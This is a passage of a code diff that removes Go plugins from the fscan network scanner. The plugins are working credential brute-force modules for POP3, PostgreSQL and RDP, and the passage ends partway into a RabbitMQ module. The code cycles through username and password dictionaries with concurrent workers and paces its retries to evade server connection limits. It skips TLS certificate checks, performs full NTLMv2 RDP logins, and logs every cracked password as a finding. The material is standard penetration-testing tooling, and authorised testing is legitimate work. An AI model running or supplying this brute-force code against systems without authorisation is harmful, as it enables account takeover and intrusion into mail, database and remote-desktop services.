scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("POP3并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryPOP3Credential 尝试单个POP3凭据
|
||||
func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &POP3ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
// 重试间隔时间增加,避免触发服务器限制
|
||||
retryDelay := time.Duration(retry*2000) * time.Millisecond
|
||||
time.Sleep(retryDelay)
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, isTLS, err := POP3Conn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &POP3ScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
IsTLS: isTLS,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 处理特定错误情况
|
||||
if strings.Contains(strings.ToLower(err.Error()), "too many connections") ||
|
||||
strings.Contains(strings.ToLower(err.Error()), "connection refused") ||
|
||||
strings.Contains(strings.ToLower(err.Error()), "timeout") {
|
||||
// 服务器可能限制连接,增加等待时间
|
||||
waitTime := time.Duration((retry+1)*3000) * time.Millisecond
|
||||
Common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
|
||||
time.Sleep(waitTime)
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &POP3ScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// POP3Conn 尝试POP3连接
|
||||
func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
isTLS bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接,支持取消
|
||||
go func() {
|
||||
// 首先尝试普通连接
|
||||
dialer := &net.Dialer{
|
||||
Timeout: timeout,
|
||||
// 增加KeepAlive设置,可能有助于处理一些服务器的限制
|
||||
KeepAlive: 30 * time.Second,
|
||||
}
|
||||
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
||||
if err == nil {
|
||||
flag, authErr := tryPOP3Auth(conn, user, pass, timeout)
|
||||
conn.Close()
|
||||
if authErr == nil && flag {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
isTLS bool
|
||||
err error
|
||||
}{flag, false, nil}:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 如果普通连接失败,尝试TLS连接
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
tlsConn, tlsErr := tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
|
||||
if tlsErr != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
isTLS bool
|
||||
err error
|
||||
}{false, false, fmt.Errorf("连接失败: %v", tlsErr)}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer tlsConn.Close()
|
||||
|
||||
flag, authErr := tryPOP3Auth(tlsConn, user, pass, timeout)
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
isTLS bool
|
||||
err error
|
||||
}{flag, true, authErr}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.isTLS, result.err
|
||||
case <-ctx.Done():
|
||||
return false, false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// tryPOP3Auth 尝试POP3认证
|
||||
func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
// 设置较长的超时时间以适应一些较慢的服务器
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 读取欢迎信息
|
||||
response, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
|
||||
}
|
||||
|
||||
// 检查是否有错误信息
|
||||
if strings.Contains(strings.ToLower(response), "error") ||
|
||||
strings.Contains(strings.ToLower(response), "too many") {
|
||||
return false, fmt.Errorf("服务器拒绝连接: %s", strings.TrimSpace(response))
|
||||
}
|
||||
|
||||
// 发送用户名前等待一小段时间
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// 发送用户名
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user)))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("发送用户名失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取用户名响应
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
response, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取用户名响应失败: %v", err)
|
||||
}
|
||||
if !strings.Contains(response, "+OK") {
|
||||
return false, fmt.Errorf("用户名无效: %s", strings.TrimSpace(response))
|
||||
}
|
||||
|
||||
// 发送密码前等待一小段时间
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// 发送密码
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("发送密码失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取密码响应
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
response, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取密码响应失败: %v", err)
|
||||
}
|
||||
|
||||
if strings.Contains(response, "+OK") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("认证失败: %s", strings.TrimSpace(response))
|
||||
}
|
||||
|
||||
// savePOP3Result 保存POP3扫描结果
|
||||
func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult) {
|
||||
tlsStatus := ""
|
||||
if result.IsTLS {
|
||||
tlsStatus = " (TLS)"
|
||||
}
|
||||
|
||||
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s",
|
||||
target, result.Credential.Username, result.Credential.Password, tlsStatus)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "pop3",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
"type": "weak-password",
|
||||
"tls": result.IsTLS,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,254 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PostgresCredential 表示一个PostgreSQL凭据
|
||||
type PostgresCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// PostgresScanResult 表示PostgreSQL扫描结果
|
||||
type PostgresScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential PostgresCredential
|
||||
}
|
||||
|
||||
// PostgresScan 执行PostgreSQL服务扫描
|
||||
func PostgresScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []PostgresCredential
|
||||
for _, user := range Common.Userdict["postgresql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, PostgresCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["postgresql"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentPostgresScan(ctx, info, credentials, Common.Timeout+10, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
savePostgresResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("PostgreSQL扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentPostgresScan 并发扫描PostgreSQL服务
|
||||
func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *PostgresScanResult, 1)
|
||||
workChan := make(chan PostgresCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryPostgresCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("PostgreSQL并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryPostgresCredential 尝试单个PostgreSQL凭据
|
||||
func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &PostgresScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建单个连接超时的上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := PostgresConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &PostgresScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &PostgresScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// PostgresConn 尝试PostgreSQL连接
|
||||
func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d",
|
||||
user, pass, info.Host, info.Ports, Common.Timeout/1000, // 转换为秒
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Millisecond)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 使用上下文测试连接
|
||||
err = db.PingContext(ctx)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 简单查询测试权限
|
||||
var version string
|
||||
err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// savePostgresResult 保存PostgreSQL扫描结果
|
||||
func savePostgresResult(info *Common.HostInfo, target string, credential PostgresCredential) {
|
||||
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "postgresql",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
-400
@@ -1,400 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RDPCredential 表示一个RDP凭据
|
||||
type RDPCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
}
|
||||
|
||||
// RDPScanResult 表示RDP扫描结果
|
||||
type RDPScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential RDPCredential
|
||||
}
|
||||
|
||||
// RdpScan 执行RDP服务扫描
|
||||
func RdpScan(info *Common.HostInfo) error {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
Common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
|
||||
}
|
||||
}()
|
||||
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
port, _ := strconv.Atoi(info.Ports)
|
||||
target := fmt.Sprintf("%v:%v", info.Host, port)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []RDPCredential
|
||||
for _, user := range Common.Userdict["rdp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, RDPCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
Domain: Common.Domain,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["rdp"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentRdpScan(ctx, info, credentials, port, Common.Timeout)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveRdpResult(info, target, port, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("RDP扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentRdpScan 并发扫描RDP服务
|
||||
func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *RDPScanResult, 1)
|
||||
workChan := make(chan RDPCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryRdpCredential(scanCtx, info.Host, credential, port, timeoutSeconds)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("RDP并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryRdpCredential 尝试单个RDP凭据
|
||||
func tryRdpCredential(ctx context.Context, host string, credential RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
|
||||
// 创建结果通道
|
||||
resultChan := make(chan *RDPScanResult, 1)
|
||||
|
||||
// 在协程中进行连接尝试
|
||||
go func() {
|
||||
success, err := RdpConn(host, credential.Domain, credential.Username, credential.Password, port, timeoutSeconds)
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
// 上下文已取消,不返回结果
|
||||
case resultChan <- &RDPScanResult{
|
||||
Success: success,
|
||||
Error: err,
|
||||
Credential: credential,
|
||||
}:
|
||||
// 成功发送结果
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return &RDPScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
|
||||
// 单个连接超时
|
||||
return &RDPScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RdpConn 尝试RDP连接
|
||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
glog.Error("RDP连接panic:", r)
|
||||
}
|
||||
}()
|
||||
|
||||
target := fmt.Sprintf("%s:%d", ip, port)
|
||||
|
||||
// 创建RDP客户端
|
||||
client := NewClient(target, glog.NONE)
|
||||
if err := client.Login(domain, user, password, timeout); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// saveRdpResult 保存RDP扫描结果
|
||||
func saveRdpResult(info *Common.HostInfo, target string, port int, credential RDPCredential) {
|
||||
var successMsg string
|
||||
|
||||
if credential.Domain != "" {
|
||||
successMsg = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v",
|
||||
target, credential.Domain, credential.Username, credential.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("RDP %v Username: %v Password: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": port,
|
||||
"service": "rdp",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
if credential.Domain != "" {
|
||||
details["domain"] = credential.Domain
|
||||
}
|
||||
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
|
||||
// Client RDP客户端结构
|
||||
type Client struct {
|
||||
Host string // 服务地址(ip:port)
|
||||
tpkt *tpkt.TPKT // TPKT协议层
|
||||
x224 *x224.X224 // X224协议层
|
||||
mcs *t125.MCSClient // MCS协议层
|
||||
sec *sec.Client // 安全层
|
||||
pdu *pdu.Client // PDU协议层
|
||||
vnc *rfb.RFB // VNC协议(可选)
|
||||
}
|
||||
|
||||
// NewClient 创建新的RDP客户端
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
// 配置日志
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
// Login 执行RDP登录
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[连接错误] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
// 初始化协议栈
|
||||
g.initProtocolStack(conn, domain, user, pwd)
|
||||
|
||||
// 建立X224连接
|
||||
if err = g.x224.Connect(); err != nil {
|
||||
return fmt.Errorf("[X224连接错误] %v", err)
|
||||
}
|
||||
glog.Info("等待连接建立...")
|
||||
|
||||
// 等待连接完成
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
// 设置事件处理器
|
||||
g.setupEventHandlers(wg, &breakFlag, &err)
|
||||
|
||||
// 添加额外的超时保护
|
||||
connectionDone := make(chan struct{})
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(connectionDone)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-connectionDone:
|
||||
// 连接过程正常完成
|
||||
return err
|
||||
case <-time.After(time.Duration(timeout) * time.Second):
|
||||
// 超时
|
||||
if !breakFlag {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
return fmt.Errorf("连接超时")
|
||||
}
|
||||
}
|
||||
|
||||
// initProtocolStack 初始化RDP协议栈
|
||||
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
|
||||
// 创建协议层实例
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
// 设置认证信息
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
|
||||
// 配置协议层关联
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
}
|
||||
|
||||
// setupEventHandlers 设置PDU事件处理器
|
||||
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
|
||||
// 错误处理
|
||||
g.pdu.On("error", func(e error) {
|
||||
*err = e
|
||||
glog.Error("错误:", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接关闭
|
||||
g.pdu.On("close", func() {
|
||||
*err = errors.New("连接关闭")
|
||||
glog.Info("连接已关闭")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接成功
|
||||
g.pdu.On("success", func() {
|
||||
*err = nil
|
||||
glog.Info("连接成功")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接就绪
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("连接就绪")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 屏幕更新
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("屏幕更新:", rectangles)
|
||||
})
|
||||
|
||||
// 完成处理
|
||||
g.pdu.On("done", func() {
|
||||
if !*breakFlag {
|
||||
*breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -1,308 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
amqp "github.com/rabbitmq/amqp091-go"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RabbitMQCredential 表示一个RabbitMQ凭据
|
||||
type RabbitMQCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// RabbitMQScanResult 表示扫描结果
|
||||
type RabbitMQScanResult struct {
|
||||
Success bool
|
||||
Error error
